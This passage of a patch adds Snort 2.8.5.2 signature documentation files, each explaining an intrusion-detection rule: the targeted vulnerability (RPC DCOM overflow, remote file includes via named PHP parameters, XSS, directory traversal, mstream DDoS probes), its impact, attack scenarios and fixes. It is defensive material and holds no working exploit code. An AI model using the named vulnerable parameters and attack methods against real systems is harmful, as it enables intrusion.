+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3043.txt
+++ snort-2.8.5.2/doc/signatures/3043.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3043
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1217.txt
+++ snort-2.8.5.2/doc/signatures/1217.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1217
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1286.txt
+++ snort-2.8.5.2/doc/signatures/1286.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1286
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3420.txt
+++ snort-2.8.5.2/doc/signatures/3420.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3420
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3351.txt
+++ snort-2.8.5.2/doc/signatures/3351.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3351
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1029.txt
+++ snort-2.8.5.2/doc/signatures/1029.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1029
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+This rule generates an event when an attempt is made to browse the scripts directory on a web server. This driectory may contain source code files for web application scripts running on the server. An attacker may be able to view the source code and use the information in further attacks against the server.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the 
+IIS implementation. The attacker might then gain administrator access to
+the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000798.txt
+++ snort-2.8.5.2/doc/signatures/100000798.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000798
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "c3" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000377.txt
+++ snort-2.8.5.2/doc/signatures/100000377.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000377
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_forum_prune.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_forum_prune.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1275.txt
+++ snort-2.8.5.2/doc/signatures/1275.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1275
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) yppasswd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port yppasswd is using.  Attackers can also learn what versions of the yppasswd protocol are accepted by yppasswd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as yppasswd run.  The yppasswd RPC service handles password change requests from the program yppasswd.  This program is used to change a user password in Network Information Service (NIS) environments where a centralized database exists to distribute passwords throughout a network.  Multiple vulnerabilities are associated with the yppasswd RPC program.
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where yppasswd runs.  This may be a precursor to querying yppasswd for usage statistics.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access yppasswd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for yppasswd, not probes of the yppasswd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the yppasswd service itself. An attacker may attempt to go directly to the yppasswd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS14
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/245.txt
+++ snort-2.8.5.2/doc/signatures/245.txt
@@ -0,0 +1,58 @@
+Rule:
+--
+Sid:
+245
+
+--
+Summary:
+This event is generated when an mstream handler attempts to identify active agents.
+
+--
+Impact:
+Severe. If the listed source IP is in your network, it may be an mstream handler.  If the listed destination IP is in your network, it may be an mstream agent.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack.  There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  A handler can probe to see if an agent is active by sending it a UDP packet to destination port 10498 with a string of "ping" in the payload. 
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+A mstream handler may probe to see if an agent is active.
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There are other known handler-to-agent ports in addition to  10498.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000621.txt
+++ snort-2.8.5.2/doc/signatures/100000621.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000621
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "log_search.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "log_search.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3237.txt
+++ snort-2.8.5.2/doc/signatures/3237.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3237
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000503.txt
+++ snort-2.8.5.2/doc/signatures/100000503.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000503
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Nucleus CMS" application running on a webserver. 
+Access to the file "action.php" using a remote file being passed as the 
+"DIR_LIB" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DIR_LIB" parameter in the "action.php" script used by 
+the "Nucleus CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Nucleus CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2333.txt
+++ snort-2.8.5.2/doc/signatures/2333.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 
+2333
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an FTP server.
+
+--
+Impact:
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious
+activity in FTP traffic between hosts.
+
+It is possible for a user to supply data to an FTP ommand and have it
+interpreted as code. The attacker might then be able to run code of
+their choosing with the privileges of the user running the FTP service.
+
+--
+Affected Systems:
+	PlatinumFTP PlatinumFTPserver 1.0.18
+
+--
+Attack Scenarios:
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a 
+host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2547.txt
+++ snort-2.8.5.2/doc/signatures/2547.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2547
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the web interface support for the HP JetAdmin printer.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code as root 
+on a vulnerable server.
+
+--
+Detailed Information:
+The HP Web JetAdmin provides a web interface for the administration of the HP
+Web JetAdmin printer.  A vulnerability exists that allows the uploading
+of unauthorized files using the script 
+/plugins/hpjwja/script/devices_update_printer_fw_upload.hts.  This capability
+was included to allow the upload of legitimate files, such as firmware updates,
+by an authorized administrator.  However, there is no file validation on the
+uploaded file, allowing the upload of any random file.  An attacker can upload
+a file with a .hts extension that subsequently can be executed when the
+attacker accesses the file using a web browser.
+
+--
+Affected Systems:
+HP Web JetAdmin 7.2.
+
+--
+Attack Scenarios:
+An attacker can create upload and execute a malicious file on a vulnerable server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+An authorized administrator who uploads a file from an IP address outside the trusted
+network will cause a false positive alert.
+
+--
+False Negatives:
+The default HP Web JetAdmin port is 8000.  If an administrator selects a different port
+on which to run the web interface, no alert will be detected.  In that case, the rule
+should be altered to reflect the port on which the web interface runs.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software or apply the appropriate patch
+when it becomes available.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/9971
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2400.txt
+++ snort-2.8.5.2/doc/signatures/2400.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2400
+
+--
+Summary:
+This event is generated when an attempt is made to access the CGI script
+edittag.pl.
+
+--
+Impact:
+Information Disclosure
+
+--
+Detailed Information:
+EditTag is a perl script that can be used to manage web site content.
+
+The edittag.pl CGI script may allow an attacker to leverage a directory
+traversal attack on a web server. Due to insufficient checks on user
+supplied input, it may be possible for an attacker to supply encoded
+"../" characters to traverse out of the web root and view sensitive
+system files on the web server.
+
+--
+Affected Systems:
+	EditTag
+
+--
+Attack Scenarios:
+An attacker can utilize this vulnerability to gain sensitive information
+that may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000395.txt
+++ snort-2.8.5.2/doc/signatures/100000395.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000395
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "posts.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "posts.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2770.txt
+++ snort-2.8.5.2/doc/signatures/2770.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2770
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_object_from_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1418.txt
+++ snort-2.8.5.2/doc/signatures/1418.txt
@@ -0,0 +1,77 @@
+Rule:
+  
+--
+Sid:
+1418
+
+--
+
+Summary:
+This event is generated when an SNMP-Trap connection over TCP to an SNMP
+daemon is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+The SNMP (Simple Network Management Protocol) Trap daemon usually 
+listens on port 161, tcp or udp.
+
+An attacker may attempt to send this request to determine if a device is
+using SNMP.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons on well known ports.
+
+--
+
+Attack Scenarios:
+An attacker sends a packet directed to tcp port 161, if sucessful a 
+reply is generated and the attacker may then launch further attacks 
+against the SNMP daemon.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Use a packet filtering firewall to protect devices using the SNMP 
+protocol and only allow connections from well-known hosts.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/637.txt
+++ snort-2.8.5.2/doc/signatures/637.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+637
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
